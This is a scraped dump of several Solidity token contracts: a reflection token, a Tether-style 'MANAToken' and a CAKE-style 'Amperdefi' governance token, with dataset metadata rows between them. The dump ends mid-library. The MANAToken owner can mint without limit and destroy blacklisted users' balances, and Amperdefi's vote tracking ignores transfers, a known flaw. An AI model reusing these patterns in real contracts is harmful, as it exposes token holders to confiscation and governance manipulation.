require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(5);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 257,550 | 13,531 |
f5f2755fbfd131c36bd04f6fb30064d41872705de0e5eea6b92b331909138ff2
| 15,039 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/08/0861d7884a6d66b3ce5cf6ac387fbe9ea85f161a_MANAToken.sol
| 2,760 | 11,194 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract MANAToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function MANAToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
| 153,599 | 13,532 |
c5719c522363d819cc22e1a0cabd2eb14c1ec281a9f3d4cf684e135895b41868
| 39,286 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/f7/f7023b07a54aea732cdb2771fc9cf7b79c9a2c1b_Amperdefi.sol
| 4,955 | 19,669 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash
= 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 50;
string private _name = "Amperdefi";
string private _symbol = "APR";
uint8 private _decimals = 18;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount,
"BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue,
"BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount,
"BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount,
"BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount,
"BEP20: burn amount exceeds allowance"));
}
}
// Amperdefi with Governance.
contract Amperdefi is BEP20("Amperdefi", "APR") {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping(address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate,
uint256 previousBalance,
uint256 newBalance);
function delegates(address delegator) external view returns (address) {
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0),
"CAKE::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++,
"CAKE::delegateBySig: invalid nonce");
require(now <= expiry, "CAKE::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[account];
return
nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint256 blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number,
"CAKE::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying CAKEs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep,
address dstRep,
uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0
? checkpoints[srcRep][srcRepNum - 1].votes
: 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0
? checkpoints[dstRep][dstRepNum - 1].votes
: 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes) internal {
uint32 blockNumber = safe32(block.number,
"CAKE::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 &&
checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber,
newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage)
internal
pure
returns (uint32)
{
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
}
| 329,773 | 13,533 |
ecf9ae6a090bc46a9e24663ec9f035a0128c3b43f67e4a0ec3ebdf2468e7400e
| 32,402 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x2a57499b09F148337A49c0A805596bf7C9aF14dB/contract.sol
| 3,984 | 15,650 |
pragma solidity ^0.6.2;
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract ReentrancyGuard {
bool private _notEntered;
constructor () internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/access/Ownable.sol
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
